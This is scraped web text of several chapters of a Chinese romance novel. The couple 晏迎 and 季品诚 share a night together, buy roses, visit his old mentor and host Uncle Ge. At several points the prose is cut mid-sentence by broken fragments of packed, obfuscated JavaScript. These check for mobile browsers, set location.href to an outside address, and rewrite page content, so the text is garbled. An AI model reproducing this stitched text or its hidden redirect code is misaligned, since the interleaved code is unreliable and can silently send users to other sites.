l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266725|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀抱里,在他耳边轻声道:“我觉得这是我们接触过彼此的灵魂之后,理所应当更进一步的事情。” “所以季老师,你也不要紧张,不要羞涩。” 季品诚用一个温柔的吻作为回应,晏迎的心,在熄灯的夜里,像是蜡烛里头一点点被点燃的灯芯。 袋装的,草莓味的,包装袋被撕开的声音,成为他们连接的一个暗号。 灯光没有完全关掉,还留着床头一盏微弱的小灯,阿比在楼下的笼子里睡着了,没有人也没有狗会打扰到他们。 晏迎睁开眼睛,感觉世界除了他,一片朦胧。 她抱紧了他,突然叫了一声:“季老师。” “嗯,我在。” “季品诚。” “嗯,我在。” “Devin。” “嗯,我在。” 她一开始只是想和他说说话,但还是后来,她好像发现了什么好玩的游戏。 “哥哥。” 这次,季品诚的回答慢了一拍,他吻吻她的脸,在她耳边笑道:“第一次听你这么叫我。” “可我不想你做我的什么妹妹…” “嗯?” “我想你做我的妻子,一直都想。” 四目相对间,晏迎捧住他的脸,激烈地吻了下去。 她现在感觉彼此成为了两条交缠在一起的人鱼,潮湿的海将他们淹没,他们抱着彼此一起沉入海底。 人间的事情再也不想去管,不想去看,他们此刻疯狂想找到一个地方,一个只有彼此的地方。 事后晏迎想要抽一支烟,但看了看旁边的位置还是忍住了。 算了,她最近也慢慢打算戒了,因为她找到了比更能让她快乐,让她灵魂放空的东西。 季品诚洗完澡出来,看到她抱着手臂在床上发呆,他一边擦着头发一边走近她几步:“在想什么呢,那么入迷?” 晏迎看着他清朗英俊的眉目,和刚刚他迷乱的眉眼重叠在一起,她的耳边甚至还响起了他最后那几分钟的声音。 阿弥陀佛,阿弥陀佛,色即是空,空即是色,百恶淫为首… 她微笑开口:“我在想你刚刚的表现呢。” 到底开过荤的男人是不一样了,季品诚居然不害羞了,他别过脸不去看她,但也没走,甚至又走近了一步。 “表现的怎么样?” 此问正中晏迎下怀,她冲他招招手把他拉到床边坐下来,手不老实地摸摸他的腹肌道:“表现这个东西就和你们做实验一样,是要多方面进行对比才能得出一个严谨又完美的结论的,所以今天这一次我不能告诉你答案,咱们多进行几次也许我的结论会更清晰一点。” 晏迎啊晏迎,她在心里骂自己,禽兽不如啊你。 季品诚觉得她说得很有道理,他点点头:“你说得对。” 看着他一本正经的样子晏迎实在是忍不住地笑了:“季老师…你怎么,那么可爱呀。” 她捧住他的脸捏了捏:“我和你开玩笑的!你今天的表现,特!别!好!” 季品诚的脸红红的,在她的掌心里都在发烫:“那明天还…” 晏迎装傻充愣道:“明天什么?” “做。” “做什么?” 季品诚眯了眯眼睛,来者不善地凑了过去。 晏迎睁大眼睛,伸出一根手指抵住他的胸口:“明天一定!今天先睡觉!晚安!” 45. 45 “考试要考的范围和重点我刚刚已经告诉大家了,如果有什么问题现在可以举手提问,这次考试的试卷是我出的,难度系数会大一点,希望大家在期末阶段对自己负责,不要挂科。” 还有几分钟就要下课了,季品诚让他们自由看会书。 赵芸抄着晏远专业书上密密麻麻的重点笔记,叹了一口气:“看来最后三个星期,要和备战高考一样挑灯夜战喽。” 她凑近晏远,在她耳边小声嘀咕道:“诶,晏远,不过我最近看着季老师的心情好像很不错啊,上课的时候都不板着脸了,有时候还会笑一下,这是…怎么了?” 晏远知道原因,但她也不好意思说出口。 姐姐这几天都不回家住了,天天住在季老师家。 孤男寡女,共处一室,还能干些什么! 她斟酌了一下,回答赵芸道:“谈恋爱的男人嘛,肯定心情会好点啦。” 赵芸“啧啧”两声,“原来是英雄难过美人关啊,怪不得。” 晏远压低声音:“季老师最近心情好到上课都温柔多了。” “那这么一想,季老师岂不是有点恋爱脑了…” 赵芸的话还没有说完,季品诚的目光就扫到了她们这边。 两个人立刻噤声,装作很忙的样子看书写笔记。 下课铃声终于响起,班里面已经坐不住的男生冲了出去。 季品诚差点被那道旋风一样的身影撞到,他皱眉道:“什么事情这么急?路上雪还没化掉,也不怕摔倒。” 男生不好意思地帮季品诚捡起掉落在地上的书,红着脸回答:“对不起啊季老师,我急是因为我女朋友在外面等我。” 季品诚皱着眉头突然松开,他感同身受一般特别理解他的心情。 他笑了:“那你去吧,别让人家等,路上慢点。” 见到他刚刚还皱眉,现在又莫名其妙地笑了一下,男生更加觉得惶恐和恐怖了,他冲季品诚微微鞠躬,一溜烟地跑了。 季品诚打开手机,屏幕壁纸是前几天他无意间的抓拍。 白茫茫的雪地里,穿着鲜艳红色羽绒服的某人像是一团永远不会熄灭的火焰,一只已经长大点的比格犬摇着螺旋桨一样的尾巴,跟在她身后跑。 一人一狗,都在雪地里笑得无比开心,仿佛是要把这冬天里的寒冷都驱散掉。 今天是周五,上完下午的两节课就可以回家了,晏远的心情还不错,她哼着歌,和季品诚打了一个招呼就走出了教室准备吃饭。 最让她开心的是,这段时间,再也没有张浩的骚扰了。 一切似乎都在往好的方向发展。 季品诚下班之后没有立即回家,而是去了趟花鸟市场,买万年青结的红果子。 这是苏阿姨老家的土方子,万年青结出来的红果子泡白酒,涂抹在长了冻疮的手上就能缓解冻疮又痛又痒的症状,还能快速治好冻疮,让红肿的地方不皲裂流血。 他最后直接买了一大盆结满红果子的万年青回家,打算养着这盆花,说不定明年冬天也可以继续用到。 他抱着一大盆肥硕的万年青,很沉,但还是停下了脚步。 他路过一家专门卖玫瑰的花店,里面的玫瑰很新鲜,花瓣上面还带着露珠,让他想到了她亮晶晶的眼睛。 季品诚放下有些重的花盆,专心挑选起了玫瑰。 玫瑰的品种太多了,店主和他一一介绍,每一支都是独一无二的美丽。 季品诚的眼睛掠过一簇红玫瑰,那玫瑰的红纯正鲜亮,像是熊熊燃烧的火焰,也像是她含笑吻他的唇。 如果花是人的化身,那么这种玫瑰,就是她变的。 季品诚停下脚步,本来就很想念她,目光触及到那红色玫瑰的瞬间,这份思念无缘无故地迅速蔓延了。 好想立马抱着这束玫瑰,跑过去见她。 他询问店主:“这是什么品种的玫瑰?” 店主直夸他眼光好:“先生,这花的名字叫卡罗拉,别名超级红玫瑰,这玫瑰的花形圆润饱满,可是无与伦比的极品。” “它的花语寓意也好,是幸福和浪漫的爱情。” 季品诚微笑:“那这里的二十支,都麻烦帮我包起来吧。” “好嘞好嘞,您稍等。” 店主并没有告诉季品诚,其实这花背后还有故事。 在希腊神话中,爱神阿佛洛狄忒与美少年阿多尼斯相恋,成为一对幸福的恋人。 但他们美好的爱情却遭到了别人的嫉妒,阿多尼斯在打猎时被人设计受伤,阿佛洛狄忒前去营救,被长满刺的白色野玫瑰刺破了腿和脚。 她鲜红色的血滴在花瓣上,白色花瓣从此变成红色,成为这种名叫“卡罗拉”的玫瑰。 店主帮季品诚把花包好之后,还让店员帮他一起送到了车上。 车内的暖气已经打开了,季品诚刚上车就看到了一个熟悉的身影。 是他曾经的导师,以前南城天文科研所的陈院士。 他下车,冲陈院士打招呼道:“陈老师,好久不见。” 陈院士看到他在这里也很诧异,不过他更多的是高兴,季品诚,是他教学生涯里,最得意的门生,他曾经放话,天文专业在未来二十年,都不会再出季品诚这样通透的学生。 “您来这里买花?” 陈院士“呵呵”一笑:“是呀,你师娘住院了,但她最喜欢山茶花,总惦记着要看花,我就打算买上几盆放在她的病房里,让她天天可以看到。” 有风把陈院士发鬓上的雪粒子吹落,露出灰白色的头发。 季品诚的心,突然在这冰天雪地里被触动,他也笑了:“真羡慕您和师娘,这么多年了,感情还是那么好,对了老师,您买了这么盆山茶花,打算怎么回去?” “我准备打车回三院。” 季品诚弯腰帮他搬起两盆花:“我正好顺路,送您去三院吧,这么东西您也不方便拿,大雪天打车也难打。” “麻烦你了,品诚。” “您和我有什么好客气的,我求学那会也多亏了您和师娘照顾。” 车内温暖如春,陈院士看到了后驾驶座上那一大捧鲜艳欲燃的红玫瑰。 这玫瑰太显眼太招摇太引人注目了,陈院士老眼昏花也一下子被吸引住。 他笑了笑:“品诚,你也来买花啊,不过这大红玫瑰…可不是你会买的花,你以前不是不喜欢那么热烈的颜色的吗?” 曾经的季品诚,只习惯用素色来填补自己的生活,白色、黑色、灰色… 那些鲜艳明亮的颜色似乎和他永久地绝缘,他总觉得自己和那种颜色,不是一个世界的。 如今…季品诚笑了,一切都变得不一样了。 他从容地回答陈院士的问题,语气里带了自己也没有察觉到的得意和喜悦。 “那玫瑰是送给我女朋友的,她最爱玫瑰,也最喜欢这样热烈的颜色。” 陈院士更加乐呵了:“那你师娘也不用再为你的终身大事操心了,她以前就说过,说品诚什么都好,就是在感情上一副不开窍的模样,这样怎么可以被女孩子喜欢呢,现在好了,我们品诚也遇到自己的喜欢的人,这花买的,就很开窍。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276267|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “果然呐,”陈院士低声感叹,“有时候缘分来了,怎么挡也挡不住。” 季品诚忍不住在恩师面前提起晏迎:“她是一个非常好的人。” “甚至遇到她之后,我感觉我身上的很多地方也被她改变了。” 陈院士好奇:“什么地方?” 季品诚抿唇,有点不好意思,但还是说出了口:“我变得更加幸福了,也变得快乐和充实。” 他现在含笑的模样,一看就过得很好,被幸福热烈包裹着。 陈院士满意地点点头:“什么时候有你成家的好消息,记得通知老师一声,我和你师娘也乐意来见证你的幸福。” “好,我和她改天也来看望您和师娘,师娘的身体好些了吧?” 提到这个陈院士就高兴:“好多了,她都有心情看花了能不好吗?估计到了春天呐,就可以出院踏青了。” 三院再过一个红绿灯就到了,陈院士眼尖地看到了他钥匙扣上挂着的冥王星。 “品诚,你的钥匙扣是有什么寓意吗?” 季品诚的心中被一阵暖流淌过,心口处微微发热,似乎是要开出花朵。 “这个我女朋友送给我的情侣钥匙扣,我的是冥王星,她的是卫星卡戎。” 陈院士当然秒懂其中的含义,他笑了:“看来这个女孩子不一般啊,我猜肯定是一个太阳般明媚灿烂的人,才能让我们品诚大雪天给她买玫瑰还那么甘之如饴。” 季品诚点头承认:“我对她,就如同您对师娘。” 三院到了,季品诚停好车,帮陈院士把几盆山茶花搬到了师娘的病房。 和师娘聊了几话,季品诚起身告辞。 师娘笑道:“品诚,下次把她带过来给师娘看看。” “好,师娘您多注意休息。” 季品诚坐在车里的时候,晏迎发来了消息:“我好想念你,怎么还没回家呀,快期末了,我们辛勤的季老师也要加班吗?” 季品诚回复:“刚刚遇到了一些事,我马上就到家了,我也想念你了。” 不止他现在很想见她,后座的一大捧玫瑰花也迫不及待想与她见面。 “好诶,你路上开慢点,注意安全,今天苏阿姨做了番茄鱼还有排骨汤。” “好。” 季品诚发动车子,顺手打开了车载音响。 里面有一个歌单,是晏迎昨天刚刚弄好的,说让他开车的时候打开来听,会有惊喜。 那个歌单的名字很长,叫“季品诚专属的晏迎私人订制歌单”。 既然是他专属的私人订制,那么他只想自己一个人在车里听。 他点击播放,她的声音意料之外地在车内响起。 “当当当~欢迎收听晏迎的私人专属定制歌单,我最最最亲爱的男朋友。” 现在没人了,季品诚唇角的微笑根本抑制不住。 “我第一首带来的歌,献给我的冰雪王子季品诚先生,由大歌唱家晏迎和小狗阿比大王合唱的《letitgo》!” “Thesnowglowswhiteonthemountaintonight~” “汪汪汪!” “Notafootprinttobeseen~” “汪汪汪!” …… 一曲终结,季品诚任然有点意犹未尽的感觉。 他嘴角的笑意就没有下去过,觉得自己此时此刻的心,被震撼的愉悦和温柔包裹着,久久无法平息。 是什么给他的力量? 是爱啊。 46. 46 晏迎手上的冻疮最近好了不少,不痛也不痒了。 她看着白酒里头浸泡着的红果果:“没想到这么神奇!我感觉坚持涂一个冬天,来年可能就不会再长了。” 季品诚把她的手握在手心里捂着:“嗯,还是苏姨的这个偏方好用,感觉冻疮的颜色都变浅了不少。” 晏迎冒着星星眼看着季品诚:“感谢苏阿姨,感谢小青,最主要的是感谢我最最最亲爱的男朋友季老师!” 季品诚冲她挑眉:“小青是谁?” 晏迎指了指客厅角落处的大盆万年青:“就是它呀,感谢它把结出来的果子给我治冻疮。” 季品诚笑了:“家里还有什么是你没有起名字的?” 说到这个,晏迎突然想起来:“你的车还没起名字呢,我的车叫Judy,那你的车就叫Nick吧!” 季品诚没看过动画片,他疑惑道:“这两个名字有什么联系吗?” 晏迎有点惊讶地看着他:“季老师你居然不知道《疯狂动物城》!” “没听说过。” 晏迎伸手捏捏他的脸:“不知道也没事,那咱们今天的睡前电影就看《疯狂动物城》。” 他们昨天看的电影还是《暮光之城》,今天突然转到少儿频道看《疯狂动物城》,这个跨度属实有点大了。 不过正好,晏迎把阿比也带上床一起看了。 季品诚现在对阿比的包容度很大,允许阿比上床,只要阿比不乱尿就好。 每次阿比上完床他也会用清洁剂处理一下,以及他们换床单被罩的频率也逐渐增多了。 除了阿比的原因,当然他们两个的一些因素也难辞其咎。 《疯狂动物城》晏迎已经看过两遍了,阿比和季品诚倒是第一次,晏迎窝在季品诚的臂弯里,半打盹半陪着他们看。 阿比靠着晏迎也有点困了,今天吃完饭晏迎陪它玩了很长时间的扔球游戏。 整个房间里,只有季品诚在认真地看。 季品诚看完电影后,发现晏迎已经睡着了。 他仔细看看晏迎的脸,觉得她长得像兔子Judy,但是性格却像是狐狸Nick。 阿比醒了过来,摇着尾巴想要冲季品诚叫,被季品诚一把捏住了嘴筒子。 阿比:“???” 季品诚冲阿比做了一个噤声的动作,压低声音道:“不要叫,阿比,你妈妈睡着了。” 他蹑手蹑脚地起床把阿比抱到楼下的笼子里,再上来的时候,晏迎已经睁开了眼睛。 季品诚躺在她旁边:“我们吵醒你了?” “没,我本来也没睡死,你捏住阿比嘴筒子的时候我就醒过来了。” 晏迎笑着搂住他的脖子:“好看吗电影?” “好看。” “明年十一月份还会出第二部,到时候我们还一起看好不好?” “好。” 深夜里万事万物都归于宁静,晏迎牵着他的手,觉得人生真神奇。 季品诚吻吻她的额头,知道她今天很困:“睡吧。” 晏迎摸摸他的脸:“好,晚安。” 真神奇啊,睡前可以和爱人说“晚安”,醒过来可以第一眼就看到他,和他说“早上好”。 每一天的始终,哪怕循环往复,也变得有意义起来。 晏迎再次遇见季磊谦的时候,是在一场应酬里。 他坐在主席,和一旁几家上市公司的老总交谈甚欢。 他也没想到会见到晏迎,眼神里短暂飘过震惊,然后他冲晏迎的方向露出他的招牌式微笑。 他身边的人都往晏迎那里看去,晏迎在心里翻了一个白眼,但碍于面子功夫,她也对着季磊谦点头微笑。 他们不在一个场子,季磊谦这里也脱不开身,晏迎快步走远,巴不得他别来烦自己。 晏迎面对他那张和季品诚长得相像的脸,是越来越讨厌了。 这种感情说不清也道不明,后来晏迎自己总结了一下,是她内心深处觉得自己的爱人那么好看的一张脸,不应该有个大坏蛋和他长得像。 晏远的期末考结束的那天,南城天晴了。 晏迎接她回来过寒假,看她老远就像是一只欢快的小鸟一样飞奔过来,拉开车门语调欢快:“终于考完啦!” 晏迎笑了:“看你这得意的表情,肯定发挥的还不错吧。” “那当然啦,我这次肯定又是第一名!” 晏迎的目光投向南城大学的校门口:“那季老师肯定也快放寒假啦吧。” “姐夫估计会比我们晚个几天,姐姐你放心啦,到时候季老师放寒假了天天陪你。” “今年过年,我打算带他一起回老家给婶婶看看,再带给爸妈看看。” 晏远知道姐姐的意思,她点头:“那婶婶和爸妈看到季老师一定会很高兴的。” 季品诚下班回家的时候,已经是晚上七点半了,他今天有点忙,所以加了会班,午饭凑合吃了一个三明治,到了这个点就彻底饿了。 苏阿姨回老家过年了,现在已经在路上了。 他回到家家里灯还亮着,晏迎正打开电脑坐在沙发上处理一些工作上的内容。 见到他回来,她放下电脑冲他笑道:“吃过饭了吗?苏阿姨不在,我厨艺又不太好,所以没有做菜,今天我和小远吃了鸡蛋挂面,你要是饿的话,也给你尝尝晏师傅的手艺。” 季品诚脱下外套挂在一边的衣架子上:“好啊,我正好饿了,有劳晏师傅了。” 晏迎在厨房烧开水煮面条,他坐在沙发上望着她忙碌的身影发呆。 等到晏迎回头拿油壶煎鸡蛋的时候,才发现他站在了自己身后。 季品诚弯腰给她把散开来的围巾重新系好一个结:“等我这几天忙完了,你想吃什么我都做给你吃。” 晏迎转头对上他的眼睛,感动道:“我和小远就等你这句话了,我们可想念你做的菜了!” 季品诚弯弯眉眼:“我也很喜欢看你吃我做的菜一脸开心的模样。” 不知道是不是季品诚太饿了,还是有男朋友滤镜的加持,他觉得晏迎今天做的鸡蛋挂面格外好吃。 晏迎坐在一边眼睛亮晶晶地看他吃面,忍不住道:“慢点吃慢点吃,没人和你抢。” 季品诚喝了口水缓缓,环顾四周道:“阿比呢?” 晏迎笑了:“你才发现它不在家啊,小远带它去附近的公园玩了。” 季品诚吃完面之后顺便把堆在厨房的碗也一起放在洗碗机里洗了。 他打开手机,看到了来自Ge叔叔的消息。 他说他提前处理完了工作上的事情,可能在近期就回国看他,顺便去陵园看看季品诚的妈妈。 Ge叔叔没有结过婚,所以他一直把季品诚视为自己的孩子,虽然季品诚和母亲并不是很肖似,但这不影响Ge去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276268|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱流着她一半血液的孩子。 季品诚年少的时候也问过Ge叔叔,为什么他没有和母亲在一起。 毕竟,Ge叔叔比季父更早认识她,少年时代的母亲对Ge也不是没有感情。 “亲爱的Devin,成年人的世界可比你想象的要复杂很多,和你母亲认识的时候我还是一个穷小子,你外公可不允许我和她走得太近。” “可是妈妈婚后并不快乐。” 四十岁的Ge收起脸上的笑容:“是啊,她并不快乐。” 那是季母抑郁成疾,病逝后的第五年。 “抱歉,Devin,我也很痛很自己那个时候不够强大,什么也没有做,我为此抱憾终身。” 在他离开季家后的日子,Ge也给予了很多帮助,算是他的第二个父亲。 季品诚从漂浮的思绪中回来,回复道:“Ge叔叔,回来的时候请提前一天联系我,我来接机。” 那天晚上季品诚摸着阿比的头,和晏迎讲起了Ge和自己母亲的故事。 一个确实有些遗憾的故事。 南城著名企业家的独生女和新加坡帅气英俊却家道中落的华裔相爱了。 高中时代正是情窦初开的年纪,但这段恋情还未发芽开花,就被企业家扼杀在了摇篮里。 他的女儿,是要和南城季家的长子联姻的,这样强强联手的婚姻,才拥有价值。 而不是哭哭啼啼地在他面前说什么狗屁爱情。 之后企业家也不知道用了什么手段,让Ge一家离开了南城。 季母消沉了一段日子,也被父亲转学去了别的学校。 当两个人虽然分开了,但依然维持着信件的往来,直到季母结婚的那一年,才就此中断。 季品诚耸肩:“我整理妈妈的遗物的时候,并没有找到Ge叔叔写给她的信,我猜,肯定是妈妈在去世前烧掉了。” 晏迎叹了一口气:“我其实还挺好奇他们最后一封信的内容的。” 到底说了什么,才让他们彻底断绝往来。 这个问题的答案,季品诚知道,他回答她:“最后一封信,是Ge叔叔给了妈妈一个地址,问她愿不愿意逃婚,和他在一起。” “妈妈的回信是一盒喜糖和一张喜帖。” 晏迎愣住,她握紧季品诚的手,似乎可以想象到Ge收到那盒喜糖和那张喜帖的感受。 是震惊,是绝望,是意料之外,也是情理之中。 不是所有感情,都会有一个好结局。 说到这里,季品诚和晏迎对视:“今年我们一起陪Ge叔叔去陵园看看妈妈吧,我想让我妈妈也见见你。” 见见能给他带来幸福的女孩子长什么样,见见她的可爱、聪明和善良,也见见自己。 是不是和小时候对比来说,有了很大的变化。 变得更自信、乐观和积极了。 晏迎直点头:“好,这是应该的。” 季品诚换了个话题,想和她聊点开心的。 “最近阿比长胖了很多,也会玩飞盘了,并且我觉得阿比的赏味期很长,现在还没有过去,依然是非常可爱的小狗。” 晏迎微笑:“也许我们捡到了全南城最乖巧可爱的比格,愿我们的阿比大王赏味期永存。” “汪汪汪!” 47. 47 Ge叔叔到南城机场的时候,晏迎和季品诚一起来接机。 他们一对俊男靓女,手挽着手宛如一对壁人,在机场乌泱泱的人群里也格外引人注目。 Ge叔叔一出来,也有不少人对他侧目,虽然已经年过五十,但身上儒雅帅气的气质还在,在国外也保养得好,看上去也就四十出头的样子。 晏迎看到他的时候情不自禁地“哇”了一声:“难怪咱妈会看上Ge叔叔,不敢想象他年轻的时候得有多帅。” 季品诚笑了:“Ge叔叔年轻时候确实风华绝代,和我勉强算是不相上下吧。” 晏迎很少听他自己夸自己,她有些惊讶地看着他:“季老师你…” 季品诚弯弯唇角:“没办法,我这是近朱者赤近墨者黑。” Ge看到晏迎的时候眼睛一亮:“这位就是晏迎吧,本人比照片上还要漂亮。” 晏迎乖巧道:“很高兴认识你,Ge叔叔。” 上车后,Ge兴冲冲地和他们研究起了中午吃什么:“上帝,我已经有十个月零八天没有吃过中餐了。” “你们那里的唐人街没有中餐馆吗?” “难吃。”Ge毫不留情地用了这两个字来形容,“他们做的中餐跟Devin做的比,提鞋也不配。” 季品诚一边开车一边开门见山道:“说吧,难得回来一次,你想吃些什么?” “Devin,那我就不和你客气了。” 晏迎举手:“季老师,我也要点菜!” 季品诚今天的心情特别好,他笑道:“行,只要不是龙肉,能满足的我都满足。” Ge赞美他:“Devin,Youarereallyagreatcook.” 在回家的路上,车内变成了Ge和晏迎的主场。 “我要吃麻婆豆腐、青椒土豆丝、黄瓜虾仁。” “Ge叔叔,你好不容易回来一次,可以有点追求,让季老师给你做点荤的,他做的土豆炖牛腩就很好吃!” “亲爱的,这道菜还是算了吧,我在国外已经吃够了Potato和Beef,荤的话,我很想吃那个鱼,叫什么名字我忘记了,鱼肉会油炸开花,上面要淋上很多很多番茄酱。” 晏迎抢答:“松鼠鳜鱼!” “对,就是叫这个名字,虽然我仍然不知道为什么要把鱼和松鼠联系在一起。” 已经有了这么多菜了,晏迎就点了一道玉米排骨汤。 离回家还有一段路,但晏迎和Ge却没有冷场,聊聊国内外的八卦,聊聊一些工作上的趣事,话茬子根本没有断过。 季品诚认真开车,偶尔搭话,基本上都在笑着听他们聊天。 最后,他们聊到了季品诚。 “晏迎,我和你说说Devin小时候的趣事,他小时候总是喜欢抬头看星星月亮太阳,结果有一天一只麻雀拉了一坨鸟屎在他头发上哈哈哈哈哈。” 晏迎抿嘴,偷偷去看季品诚的表情,季品诚皱眉苦笑:“Ge叔叔你记性真好,这都多久的事情了,劳烦你还记得。” 晏迎低头忍不住笑了出来:“哈哈哈哈,看来天上的小鸟也喜欢我们季老师呢。” “还有还有,Devin学习俄语的时候不会弹舌,他为了让自己的俄语更加正宗一点,决定苦练弹舌,结果他练着练着舌头开始抽筋,导致有一段时间说话都变得大舌头了。” 晏迎把脸埋进手掌心,不敢去看季品诚的表情。 她笑得肩膀都在发抖,根本控制不住自己。 季品诚的耳朵里被他们的笑声所充斥着,有些无奈地叹了口气。 自己小时候那点糗事,全被抖落没了。 但叹完气,他也被他们的笑声所感染,自己的嘴角也翘了起来。 过去爱他的人,和现在爱他的人,坐在一起聊着关于他的事情,这好像…也可以归纳为能够构成幸福的事情。 车子在欢声笑语里一路开到家,一打开门,迎接他们的是穿着七彩色公主裙的阿比大王。 阿比虽然是男孩子,但是打扮成女孩子它好像也没什么意见。 阿比一点也不害怕生人,特别粘人,此刻在Ge身上上蹿下跳没完。 Ge索性一把把阿比抱起来举高高,阿比热情地伸出舌头去舔他的脸。 “这就是你们的孩子?它真是热情洋溢,它叫什么名字来着?” 晏迎回答:“大名晏季,小名阿比。” 季品诚在一边补充:“它可聪明了,叫它晏季的时候,它就会很心虚地知道自己犯错误了,叫它阿比它就知道你没有真生气,是和它闹着玩而已。” Ge被他们的话逗乐了,他故意严肃道:“晏季。” “嗷呜~” 他又换上高兴的语气:“阿比!” “汪汪汪!” 季品诚和晏迎出门买菜,留下Ge一个人在家里休息,顺便和阿比大王玩耍。 他们没有选择去超市,而是逛了附近新开的一家大型菜市场。 晏迎更喜欢烟火气足一些的地方。 菜市场逛的人也多,有大娘支起了摊子,卖着刚包好的馄饨和春卷。 南方吃饺子的少,更喜欢吃馄饨、团子还有年糕春卷之类的。 晏迎凑过去问道:“阿姨,这是什么馅的?” 大娘用着南城本地的发言回答道:“有青菜猪油渣味的,也有芹菜猪肉的。” 晏迎想了想:“那就青菜猪油渣的馄饨和春卷各来一包,诶呦,芹菜猪肉的也都各来一包吧。” 她说得是一口地道流利的南城方言,让季品诚有点惊讶。 因为南城这边的方言属于吴语,不是一般地难学。 结完账,季品诚帮她拿东西,顺便笑着问她:“我记得你不是南城本地人,怎么南城话讲得比我还好。” 晏迎有点小得意:“我聪明呗一学就会,来南城这么多年了,我早就把南城当做了我的第二故乡,小小方言,不在话下!” 季品诚空出一只手揉揉她的脑袋:“难怪我们阿比大王比小区里那只边牧还聪明,原来是随妈。” “nonono~”晏迎纠正他,“阿比是既随妈又随爸。” “对啦季老师,我认识你这么久,还没有听你说过南城话呢,你讲一句给我听听!” 季品诚俯身,在她耳边讲了一句方言。 他这样气质板正的人,一下子开口呢喃出酥软的吴语方言,晏迎觉得自个的魂魄都要被这个男妖精给勾走。 何况他刚刚说的那句方言翻译一下就是:“你是全世界最好看的小姑娘,我爱你。” 晏迎买菜逛着逛着就饿了,打算买两个刚出炉的豆沙炸糕给自己和季品诚先垫垫肚子,等炸糕的功夫,季品诚已经把差不多要买的都买完了,就等鱼摊子那儿的大叔把鳜鱼杀好给他装袋。 晏迎一边无聊地等炸糕,一边向季品诚所在的方向望去,她打开手机相机,很想把眼前的这一幕记录下来。 她的爱人褪去初见时候的冷漠、疏离和严肃,浑身散发着光芒站在熙熙攘攘的人群之中。 那光芒温暖却不夺目,恰似初春暖阳。 他身后作为背景板的一堆瓜果蔬菜,反而把他衬托得更加温润生动了。 晏迎按下拍摄键的那一秒,季品诚在人群之中,正好冲她抬头笑。 晏迎手一抖,稍微拍的有点糊,但并不妨碍他的笑容在整张照片里成为最美好的存在。 “小姑娘,你的炸糕。” 晏迎反应过来:“好的谢谢。” 她拎着一袋子炸糕向他走来,鱼摊的大叔把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284189|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀好的鳜鱼装在黑色袋子里递给季品诚。 他手上拿的东西有点多了,晏迎想要替他分担一点,但是被他拒绝了:“没事,我可以,你手上的冻疮还没好。” 晏迎小声嘀咕道:“长冻疮而已,又不是骨折了,哪里东西都拿不了了。” “不重,我一个人可以拿,你还有更重要的任务。” “什么?” 他的语气像是小孩子一样无赖:“我饿了,喂我吃块炸糕吧。” 他们到家的时候,Ge和阿比大王已经成功玩熟了。 他和阿比玩得很开心,晏迎把还热乎的炸糕递给他,他咬下去第一口,便露出夸张的表情赞美道:“Delicious!” 晏迎看着他仔细品尝炸糕的模样,这国外的饭菜得有多难吃啊… 季品诚在厨房穿上围裙安静地做菜,晏迎钻进厨房,探出一个脑袋询问他要不要帮忙。 季品诚侧目看向她,笑着摇摇头:“不用了,你去陪Ge叔叔玩吧。” 晏迎点点头:“行。” 她嘴上答应着他,但是脚步却迟迟不动。 季品诚安静地切菜,感受到她炙热的目光,他没有停下手上的动作,转头问道:“怎么了,一直看着我。” 晏迎出声提醒:“诶!你别切到手!” “不会,你放心。” 晏迎看着他熟练切菜备菜,起锅炒菜的模样,忍不住对他说:“季老师,我有没有和你说过,你做饭的样子很帅。” 炒菜的声音和油烟机的嗡嗡声混合在一起,季品诚看向她:“你说什么?” 晏迎提高点自己的音量:“我说季老师你做饭的样子特别帅,穿上围裙非常有人夫感!” 男人穿西装帅,正常,给狗穿件好看的衣裳狗也会变可爱。 男人在秀场t台上帅,也正常,毕竟把手冲橙子包装一下放到高档酒店也可以卖出八二年拉菲的价格。 但还是男人在厨房炒菜都能让人看的斯哈斯哈,那只能说明这男的是真的帅。 这身材比例,这大高个,这完美的三庭五眼… 说到这个,晏迎还不知道季品诚有多高呢,但肯定不矮,起码也得有个一米八几吧。 晏迎净身高是一米七一,季品诚比她高了差不多半个头多一点。 她凑过去问他:“季老师,你多高啊?” “一米八七。” 晏迎笑了:“那你怎么没和我炫耀过你的身高啊?” 季磊谦身高一米八三,他和晏迎认识的第二面,就装作无意地把自己的身高透露了出来。 虽然南城男人平均身高是一米七五,超过一米八确实值得夸赞。 